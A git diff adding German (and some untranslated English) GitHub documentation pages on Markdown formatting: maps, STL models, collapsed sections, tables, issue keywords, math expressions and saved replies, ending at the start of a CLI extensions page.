+Du kannst GeoJSON/TopoJSON-Syntax verwenden, um interaktive Karten zu erstellen. Füge zum Erstellen einer Karte GeoJSON oder TopoJSON innerhalb eines Fenced-Code-Blocks mit dem Syntaxbezeichner `geojson` oder `topojson` hinzu. Weitere Informationen findest du unter [Codeblöcke erstellen und markieren](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
+
+### GeoJSON verwenden
+
+Du kannst beispielsweise eine einfache Karte erstellen:
+
+<pre>
+```geojson
+{
+  "type": "FeatureCollection",
+  "features": [
+    {
+      "type": "Feature",
+      "id": 1,
+      "properties": {
+        "ID": 0
+      },
+      "geometry": {
+        "type": "Polygon",
+        "coordinates": [
+          [
+              [-90,35],
+              [-90,30],
+              [-85,30],
+              [-85,35],
+              [-90,35]
+          ]
+        ]
+      }
+    }
+  ]
+}
+```
+</pre>
+
+![Gerenderte Karte](/assets/images/help/writing/fenced-geojson-rendered-map.png)
+
+### TopoJSON verwenden
+
+Du kannst beispielsweise eine einfache TopoJSON-Karte erstellen:
+
+<pre>
+```topojson
+{
+  "type": "Topology",
+  "transform": {
+    "scale": [0.0005000500050005, 0.00010001000100010001],
+    "translate": [100, 0]
+  },
+  "objects": {
+    "example": {
+      "type": "GeometryCollection",
+      "geometries": [
+        {
+          "type": "Point",
+          "properties": {"prop0": "value0"},
+          "coordinates": [4000, 5000]
+        },
+        {
+          "type": "LineString",
+          "properties": {"prop0": "value0", "prop1": 0},
+          "arcs": [0]
+        },
+        {
+          "type": "Polygon",
+          "properties": {"prop0": "value0",
+            "prop1": {"this": "that"}
+          },
+          "arcs": [[1]]
+        }
+      ]
+    }
+  },
+  "arcs": [[[4000, 0], [1999, 9999], [2000, -9999], [2000, 9999]],[[0, 0], [0, 9999], [2000, 0], [0, -9999], [-2000, 0]]]
+}
+```
+</pre>
+
+![Gerenderte topoJSON-Karte](/assets/images/help/writing/fenced-topojson-rendered-map.png)
+
+Weitere Informationen zum Arbeiten mit Dateien vom Typ `.geojson` und `.topojson` findest du unter [Arbeiten mit anderen Dateien als Codedateien](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github).
+
+
+## Erstellen von STL-3D-Modellen
+
+Du kannst ASCII STL-Syntax direkt in Markdown verwenden, um interaktive 3D-Modelle zu erstellen. Füge zum Anzeigen eines Modells ASCII STL-Syntax innerhalb eines Fenced-Code-Blocks mit dem Syntaxbezeichner `stl` hinzu. Weitere Informationen findest du unter [Codeblöcke erstellen und markieren](/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
+
+Du kannst beispielsweise ein einfaches 3D-Modell erstellen:
+
+<pre>
+```stl
+solid cube_corner
+  facet normal 0.0 -1.0 0.0
+    outer loop
+      vertex 0.0 0.0 0.0
+      vertex 1.0 0.0 0.0
+      vertex 0.0 0.0 1.0
+    endloop
+  endfacet
+  facet normal 0.0 0.0 -1.0
+    outer loop
+      vertex 0.0 0.0 0.0
+      vertex 0.0 1.0 0.0
+      vertex 1.0 0.0 0.0
+    endloop
+  endfacet
+  facet normal -1.0 0.0 0.0
+    outer loop
+      vertex 0.0 0.0 0.0
+      vertex 0.0 0.0 1.0
+      vertex 0.0 1.0 0.0
+    endloop
+  endfacet
+  facet normal 0.577 0.577 0.577
+    outer loop
+      vertex 1.0 0.0 0.0
+      vertex 0.0 1.0 0.0
+      vertex 0.0 0.0 1.0
+    endloop
+  endfacet
+endsolid
+```
+</pre>
+
+![Gerendertes 3D-Modell](/assets/images/help/writing/fenced-stl-rendered-object.png)
+
+Weitere Informationen zum Arbeiten mit Dateien vom Typ `.stl` findest du unter [Arbeiten mit anderen Dateien als Codedateien](/repositories/working-with-files/using-files/working-with-non-code-files#3d-file-viewer).
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/index.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/index.md
new file mode 100644
index 0000000000..27312b2831
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/index.md
@@ -0,0 +1,31 @@
+---
+title: Mit erweiterter Formatierung arbeiten
+intro: 'Durch Formatierung wie Tabellen, Syntaxhervorhebung und automatische Verknüpfung kannst du komplexe Informationen übersichtlich in deinen Pull Requests, Issues und Kommentaren anordnen.'
+redirect_from:
+  - /articles/working-with-advanced-formatting
+  - /github/writing-on-github/working-with-advanced-formatting
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /organizing-information-with-tables
+  - /organizing-information-with-collapsed-sections
+  - /creating-and-highlighting-code-blocks
+  - /creating-diagrams
+  - /writing-mathematical-expressions
+  - /autolinked-references-and-urls
+  - /attaching-files
+  - /about-task-lists
+  - /creating-a-permanent-link-to-a-code-snippet
+  - /using-keywords-in-issues-and-pull-requests
+shortTitle: Work with advanced formatting
+ms.openlocfilehash: b7f52fc620c65c62b050f44a396e3a048e1ad7ac
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159630'
+---
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
new file mode 100644
index 0000000000..b01e983307
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md
@@ -0,0 +1,50 @@
+---
+title: Organisieren von Informationen mit reduzierten Abschnitten
+intro: 'Optimiere Markdown, indem du einen reduzierten Abschnitt mit dem Tag `<details>` erstellst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections
+shortTitle: Collapsed sections
+ms.openlocfilehash: 1a1f0669ce401946f4a7a08dd1fd41893078e3d0
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '146273098'
+---
+## Erstellen eines reduzierten Abschnitts
+
+Du kannst Markdownabschnitte vorübergehend ausblenden, indem du einen reduzierten Abschnitt erstellst, den Leser*innen erweitern können. Wenn du beispielsweise technische Details in einen Issuekommentar einfügen möchtest, die möglicherweise nicht für alle Leser*innen relevant oder interessant sind, kannst du diese Details in einen reduzierten Abschnitt einfügen.
+
+Alle Markdowns innerhalb des `<details>`-Blocks werden reduziert, bis der Leser auf {% octicon "triangle-right" aria-label="The right triange icon" %} klickt, um die Details zu erweitern. Verwende im `<details>`-Block das `<summary>`-Tag, um eine Bezeichnung rechts neben {% octicon "triangle-right" aria-label="The right triange icon" %} zu erstellen.
+
+````markdown
+<details><summary>CLICK ME</summary>
+<p>
+
+#### We can hide anything, even code!
+
+```ruby
+   puts "Hello World"
+```
+
+</p>
+</details>
+````
+
+Der Markdown wird standardmäßig reduziert.
+
+![Gerendert reduziert](/assets/images/help/writing/collapsed-section-view.png)
+
+Nachdem ein Leser auf {% octicon "triangle-right" aria-label="The right triange icon" %} geklickt hat, werden die Details erweitert.
+
+![Gerendert offen](/assets/images/help/writing/open-collapsed-section.png)
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown – Spezifikation](https://github.github.com/gfm/)
+- [Grundlegende Schreib- und Formatierungssyntax](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
new file mode 100644
index 0000000000..49de63704c
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md
@@ -0,0 +1,88 @@
+---
+title: Informationen in Tabellen organisieren
+intro: 'Du kannst Tabellen erstellen, um Informationen in Kommentaren, Issues, Pull Requests und Wikis zu organisieren.'
+redirect_from:
+  - /articles/organizing-information-with-tables
+  - /github/writing-on-github/organizing-information-with-tables
+  - /github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Organized data with tables
+ms.openlocfilehash: 6045e9f27432233cbfcdb654c303bc02ea5666cd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068604'
+---
+## Erstellen einer Tabelle
+
+Du kannst Tabellen mit Pipes `|` und Bindestrichen `-` erstellen. Mit Bindestrichen werden die Überschriften der Spalten erstellt, mit senkrechten Strichen die Spalten voneinander getrennt. Vor der Tabelle musst Du eine Zeile frei lassen, damit sie korrekt dargestellt wird.
+
+```markdown
+
+| First Header  | Second Header |
+| ------------- | ------------- |
+| Content Cell  | Content Cell  |
+| Content Cell  | Content Cell  |
+```
+
+![Gerenderte Tabelle](/assets/images/help/writing/table-basic-rendered.png)
+
+Die senkrechten Striche am linken und rechten Rand der Tabelle sind optional.
+
+Die Zellen können unterschiedlich breit sein und müssen nicht perfekt an den Spalten ausgerichtet sein. In jeder Spalte der Überschriftenzeile müssen mindestens drei Bindestriche vorhanden sein.
+
+```markdown
+| Command | Description |
+| --- | --- |
+| git status | List all new or modified files |
+| git diff | Show file differences that haven't been staged |
+```
+
+![Gerenderte Tabelle mit unterschiedlicher Zellenbreite](/assets/images/help/writing/table-varied-columns-rendered.png)
+
+{% data reusables.user-settings.enabling-fixed-width-fonts %}
+
+## Inhalt innerhalb der Tabelle formatieren
+
+Du kannst [Formatierungen](/articles/basic-writing-and-formatting-syntax) wie Links, Inline-Codeblöcke und Textformatierung in Deiner Tabelle verwenden:
+
+```markdown
+| Command | Description |
+| --- | --- |
+| `git status` | List all *new or modified* files |
+| `git diff` | Show file differences that **haven't been** staged |
+```
+
+![Gerenderte Tabelle mit formatiertem Text](/assets/images/help/writing/table-inline-formatting-rendered.png)
+
+Du kannst Text links, rechts oder mittig in einer Spalte ausrichten, indem Du Doppelpunkte `:` links, rechts oder auf beiden Seiten der Bindestriche in der Kopfzeile einschließt.
+
+```markdown
+| Left-aligned | Center-aligned | Right-aligned |
+| :---         |     :---:      |          ---: |
+| git status   | git status     | git status    |
+| git diff     | git diff       | git diff      |
+```
+
+![Gerenderte Tabelle mit nach links, nach rechts oder zentriert ausgerichtetem Text](/assets/images/help/writing/table-aligned-text-rendered.png)
+
+Um ein Pipe `|` als Inhalt in Deine Zelle einzuschließen, verwende ein `\` vor dem Pipe:
+
+```markdown
+| Name     | Character |
+| ---      | ---       |
+| Backtick | `         |
+| Pipe     | \|        |
+```
+
+![Gerenderte Tabelle mit einem maskierten senkrechten Strich](/assets/images/help/writing/table-escaped-character-rendered.png)
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown – Spezifikation](https://github.github.com/gfm/)
+- [Grundlegende Schreib- und Formatierungssyntax](/articles/basic-writing-and-formatting-syntax)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md
new file mode 100644
index 0000000000..00b0390878
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests.md
@@ -0,0 +1,39 @@
+---
+title: Verwenden von Schlüsselwörtern in Issues und Pull Requests
+intro: 'Verwende Schlüsselwörter, um ein Issue und einen Pull Request zu verknüpfen oder ein Issue oder einen Pull Request als Duplikat zu markieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /github/writing-on-github/working-with-advanced-formatting/using-keywords-in-issues-and-pull-requests
+topics:
+  - Issues
+  - Pull requests
+ms.openlocfilehash: a256622562caa95c5778c1ed6d6455edebc16530
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146273090'
+---
+## Einen Pull Request zu einem Issue verknüpfen
+
+Wenn du einen Pull Request mit einem Issue verknüpfen möchtest, um anzuzeigen, dass ein Fix in Bearbeitung ist, und das Issue automatisch geschlossen werden soll, wenn jemand den Pull Request zusammenführt, gibst du eines der folgenden Schlüsselwörter gefolgt von einem Verweis auf das Issue ein. Zum Beispiel: `Closes #10` oder `Fixes octo-org/octo-repo#100`.
+
+* close
+* closes (wird geschlossen)
+* closed
+* Korrektur
+* fixes (korrigiert)
+* fixed
+* resolve
+* resolves (löst)
+* gelöst
+
+Weitere Informationen findest du unter [Verknüpfen eines Pull Requests mit einem Issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue).
+
+## Markieren von Issues und Pull Requests als Duplikate
+
+Um einen Issue oder Pull Request als Duplikat zu markieren, gib „Duplikat von“ gefolgt von der Nummer des Issues oder Pull Requests, der dupliziert wird, in den Text eines neuen Kommentars ein. Weitere Informationen findest du unter [Markieren von Issues oder Pull Requests als Duplikate](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate).
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md
new file mode 100644
index 0000000000..2a01789396
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md
@@ -0,0 +1,79 @@
+---
+title: Writing mathematical expressions
+intro: 'Use Markdown to display mathematical expressions on {% data variables.product.company_short %}.'
+versions:
+  feature: math
+shortTitle: Mathematical expressions
+---
+
+## About writing mathematical expressions
+
+To enable clear communication of mathematical expressions, {% data variables.product.product_name %} supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks.
+
+{% data variables.product.company_short %}'s math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentation](http://docs.mathjax.org/en/latest/input/tex/index.html#tex-and-latex-support) and [the MathJax Accessibility Extensions Documentation](https://mathjax.github.io/MathJax-a11y/docs/#reader-guide).
+
+Mathematical expressions rendering is available in {% data variables.product.prodname_github_issues %}, {% data variables.product.prodname_discussions %}, pull requests, {% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}wikis, {% endif %}and Markdown files.
+
+## Writing inline expressions
+
+To include a math expression inline with your text, delimit the expression with a dollar symbol `$`.
+
+```
+This sentence uses `$` delimiters to show math inline:  $\sqrt{3x-1}+(1+x)^2$
+```
+
+![Inline math markdown rendering](/assets/images/help/writing/inline-math-markdown-rendering.png)
+
+## Writing expressions as blocks
+
+To add a math expression as a block, start a new line and delimit the expression with two dollar symbols `$$`.
+
+```
+**The Cauchy-Schwarz Inequality**
+
+$$\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right)$$
+```
+
+![Math expression as a block rendering](/assets/images/help/writing/math-expression-as-a-block-rendering.png)
+
+{% ifversion math-fenced-blocks %}
+
+Alternatively, you can use the <code>\`\`\`math</code> code block syntax to display a math expression as a block. With this syntax, you don't need to use `$$` delimiters.
+
+````
+**Here is some math!**
+
+```math
+\sqrt{3}
+```
+````
+
+![Math expression in a fenced code block](/assets/images/help/writing/math-expression-as-a-fenced-code-block.png)
+
+{% endif %}
+
+## Writing dollar signs in line with and within mathematical expressions
+
+To display a dollar sign as a character in the same line as a mathematical expression, you need to escape the non-delimiter `$` to ensure the line renders correctly.
+  
+  - Within a math expression, add a `\` symbol before the explicit `$`.
+
+  ```
+  This expression uses `\$` to display a dollar sign: $\sqrt{\$4}$
+  ```
+
+  ![Dollar sign within math expression](/assets/images/help/writing/dollar-sign-within-math-expression.png)
+
+  - Outside a math expression, but on the same line, use span tags around the explicit `$`.
+
+  ```
+  To split <span>$</span>100 in half, we calculate $100/2$
+  ```
+
+  ![Dollar sign inline math expression](/assets/images/help/writing/dollar-sign-inline-math-expression.png)
+
+## Further reading
+
+* [The MathJax website](http://mathjax.org)
+* [Getting started with writing and formatting on GitHub](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github)
+* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md
new file mode 100644
index 0000000000..2f0e5fc4f2
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md
@@ -0,0 +1,35 @@
+---
+title: Informationen zu gespeicherten Antworten
+intro: Mit einer gespeicherten Antwort kannst du auf einen Issue oder Pull Request reagieren.
+redirect_from:
+  - /articles/about-saved-replies
+  - /github/writing-on-github/about-saved-replies
+  - /github/writing-on-github/working-with-saved-replies/about-saved-replies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 37a60c269d856835a12100271f767920ba2d24fe
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068598'
+---
+![Gespeicherte Antworten](/assets/images/help/settings/saved-replies.png)
+
+Mit gespeicherten Antworten kannst Du eine wiederverwendbare Reaktion auf Issues und Pull Requests erstellen. Spare Zeit, indem Du eine gespeicherte Antwort für die Reaktionen erstellst, die Du am häufigsten verwendest.
+
+Sobald Du eine gespeicherte Antwort hinzugefügt hast, kann sie sowohl in Issues als auch in Pull Requests verwendet werden. Gespeicherte Antworten sind an dein persönliches Konto gebunden. Sobald sie erstellt sind, kannst Du sie in allen Repositorys und Organisationen verwenden.
+
+Du kannst maximal 100 gespeicherte Antworten erstellen. Wenn Du die Höchstgrenze erreicht hast, kannst Du gespeicherte Antworten, die Du nicht mehr verwendest, löschen oder vorhandene gespeicherte Antworten bearbeiten.
+
+Du kannst auch die von {% data variables.product.product_name %} zur Verfügung gestellte gespeicherte Antwort „Duplicate issue“ (Doppelter Issue) verwenden, um einen Issue als duplikat zu markieren und ihn mit einem ähnlichen Issue nachzuverfolgen.
+
+## Weiterführende Themen
+
+- [Erstellen einer gespeicherten Antwort](/articles/creating-a-saved-reply)
+- [Verwenden gespeicherter Antworten](/articles/using-saved-replies)
+- [Bearbeiten einer gespeicherten Antwort](/articles/editing-a-saved-reply)
+- [Löschen einer gespeicherten Antwort](/articles/deleting-a-saved-reply)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md
new file mode 100644
index 0000000000..f779c97172
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md
@@ -0,0 +1,29 @@
+---
+title: Creating a saved reply
+intro: 'If you frequently add the same comment over and over, you can create a saved reply.'
+redirect_from:
+  - /articles/creating-a-saved-reply
+  - /github/writing-on-github/creating-a-saved-reply
+  - /github/writing-on-github/working-with-saved-replies/creating-a-saved-reply
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.saved_replies %}
+3. Under "Add a saved reply", add your saved reply title.
+![Saved reply title](/assets/images/help/settings/saved-replies-title.png)
+4. In the "Write" field, add the content you'd like to use for the saved reply. For more information on writing on {% data variables.product.product_name %}, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)."
+![Writing a saved reply](/assets/images/help/settings/saved-replies-settings-adding.png)
+5. To review your reply, click **Preview**.
+![Add a saved reply](/assets/images/help/settings/saved-replies-preview.png)
+6. Click **Add saved reply**.
+!["Add saved reply" button](/assets/images/help/settings/saved-replies-add-button.png)
+
+## Further reading
+
+- "[Using saved replies](/articles/using-saved-replies)"
+- "[Editing a saved reply](/articles/editing-a-saved-reply)"
+- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md
new file mode 100644
index 0000000000..8aadbeea0b
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md
@@ -0,0 +1,17 @@
+---
+title: Deleting a saved reply
+intro: 'If you find that you''re no longer using a saved reply, you can delete it.'
+redirect_from:
+  - /articles/deleting-a-saved-reply
+  - /github/writing-on-github/deleting-a-saved-reply
+  - /github/writing-on-github/working-with-saved-replies/deleting-a-saved-reply
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.saved_replies %}
+3. Under "Saved replies", next to the saved reply you want to delete, click {% octicon "x" aria-label="The X" %}.  
+![Delete saved reply](/assets/images/help/settings/saved-replies-delete-existing.png)
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
new file mode 100644
index 0000000000..38989fb3d1
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md
@@ -0,0 +1,28 @@
+---
+title: Editing a saved reply
+intro: You can edit the title and body of a saved reply.
+redirect_from:
+  - /articles/changing-a-saved-reply
+  - /articles/editing-a-saved-reply
+  - /github/writing-on-github/editing-a-saved-reply
+  - /github/writing-on-github/working-with-saved-replies/editing-a-saved-reply
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.saved_replies %}
+3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}.  
+![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png)
+4. Under "Edit saved reply", you can edit the title and the content of the saved reply.
+![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png)
+5. Click **Update saved reply**.
+![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png)
+
+## Further reading
+
+- "[Creating a saved reply](/articles/creating-a-saved-reply)"
+- "[Deleting a saved reply](/articles/deleting-a-saved-reply)"
+- "[Using saved replies](/articles/using-saved-replies)"
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/index.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/index.md
new file mode 100644
index 0000000000..dd34ff34d2
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/index.md
@@ -0,0 +1,26 @@
+---
+title: Gespeicherte Antworten verwenden
+intro: 'Um Zeit einzusparen und sicherzustellen, dass du eine konsistente Mitteilung bereitstellst, kannst du Issue- und Pull-Request-Kommentaren gespeicherte Antworten hinzufügen.'
+redirect_from:
+  - /articles/working-with-saved-replies
+  - /github/writing-on-github/working-with-saved-replies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-saved-replies
+  - /creating-a-saved-reply
+  - /editing-a-saved-reply
+  - /deleting-a-saved-reply
+  - /using-saved-replies
+shortTitle: Work with saved replies
+ms.openlocfilehash: 55d2bc176354a565a2d49ceb9625e6218dfc9c4a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068559'
+---
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md
new file mode 100644
index 0000000000..319bb82702
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md
@@ -0,0 +1,39 @@
+---
+title: Gespeicherte Antworten verwenden
+intro: 'Wenn du einen Issue oder einen Pull Request kommentierst, kannst du eine bereits von dir eingerichtete gespeicherte Antwort hinzufügen. Bei der gespeicherten Antwort kann es sich um den gesamten Kommentar handeln. Alternativ kannst du Inhalt hinzufügen oder löschen, um die Antwort anzupassen.'
+redirect_from:
+  - /articles/using-saved-replies
+  - /github/writing-on-github/using-saved-replies
+  - /github/writing-on-github/working-with-saved-replies/using-saved-replies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: cdedced45968eae09bb3ad4ef203949aab45eee5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068556'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+2. Klicke auf den gewünschten Issue oder Pull Request.
+3. Klicke im Kommentarfeld auf {% octicon "reply" aria-label="The mail reply" %}, um eine gespeicherte Antwort hinzuzufügen.
+   ![Schaltfläche „Gespeicherte Antworten“](/assets/images/help/writing/saved-replies-button.png)
+4. Wähle in der Liste die gespeicherte Antwort aus, die Du zu Deinem Kommentar hinzufügen möchtest.
+   ![Gespeicherte Antworten](/assets/images/help/settings/saved-replies.png)
+
+{% tip %}
+
+**Tipps:**
+- Mithilfe eines Tastenkürzels kannst Du automatisch eine gespeicherte Antwort in den Kommentar eintragen. Weitere Informationen findest du unter [Tastenkombinationen](/articles/keyboard-shortcuts/#comments).
+- Du kannst die Liste filtern. Gib dazu den Titel der gespeicherten Antwort ein.
+
+{% endtip %}
+
+## Weitere Informationsquellen
+
+- [Erstellen einer gespeicherten Antwort](/articles/creating-a-saved-reply)
+- [Bearbeiten einer gespeicherten Antwort](/articles/editing-a-saved-reply)
+- [Löschen einer gespeicherten Antwort](/articles/deleting-a-saved-reply)
diff --git a/translations/de-DE/content/github-cli/github-cli/about-github-cli.md b/translations/de-DE/content/github-cli/github-cli/about-github-cli.md
new file mode 100644
index 0000000000..326bffef60
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/about-github-cli.md
@@ -0,0 +1,37 @@
+---
+title: Informationen zur GitHub CLI
+intro: '{% data reusables.cli.cli-intro %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+type: overview
+redirect_from:
+  - /github/getting-started-with-github/github-cli
+  - /github/getting-started-with-github/using-github/github-cli
+  - /actions/guides/managing-github-actions-with-github-cli
+ms.openlocfilehash: b467665eb07ef3f67716af9c47839cf52447d716
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068550'
+---
+## Informationen zu {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.about-cli %}
+
+{% data reusables.cli.cli-features %}
+
+Weitere Informationen dazu, welche Aktionen du mit der {% data variables.product.prodname_cli %} durchführen kannst, findest du im [Leitfaden zur {% data variables.product.prodname_cli %}](https://cli.github.com/manual).
+
+## Installieren der {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.cli-installation %}
+
+## Feedback teilen
+
+Wenn du Feedback- oder Featureanforderungen hast, kannst du ein Issue im [`cli/cli`-Repository](https://github.com/cli/cli) erstellen.
diff --git a/translations/de-DE/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/de-DE/content/github-cli/github-cli/creating-github-cli-extensions.md
new file mode 100644
index 0000000000..636c9da7bb
--- /dev/null
+++ b/translations/de-DE/content/github-cli/github-cli/creating-github-cli-extensions.md
@@ -0,0 +1,286 @@
+---
+title: Erstellen von GitHub CLI-Erweiterungen
+intro: 'Hier erfährst du, wie du neue {% data variables.product.prodname_cli %}-Befehle mit anderen Benutzer*inen teilen kannst, indem du benutzerdefinierte Erweiterungen für {% data variables.product.prodname_cli %} erstellst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - CLI
+ms.openlocfilehash: e0f2979beca9a430f5afabf3a4f58fa5ea48ad30
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068547'
+---
+## Informationen zu {% data variables.product.prodname_cli %}-Erweiterungen
+
+{% data reusables.cli.cli-extensions %} Weitere Informationen zur Verwendung von {% data variables.product.prodname_cli %}-Erweiterungen findest du unter [Verwenden von {% data variables.product.prodname_cli %}-Erweiterungen](/github-cli/github-cli/using-github-cli-extensions).
+
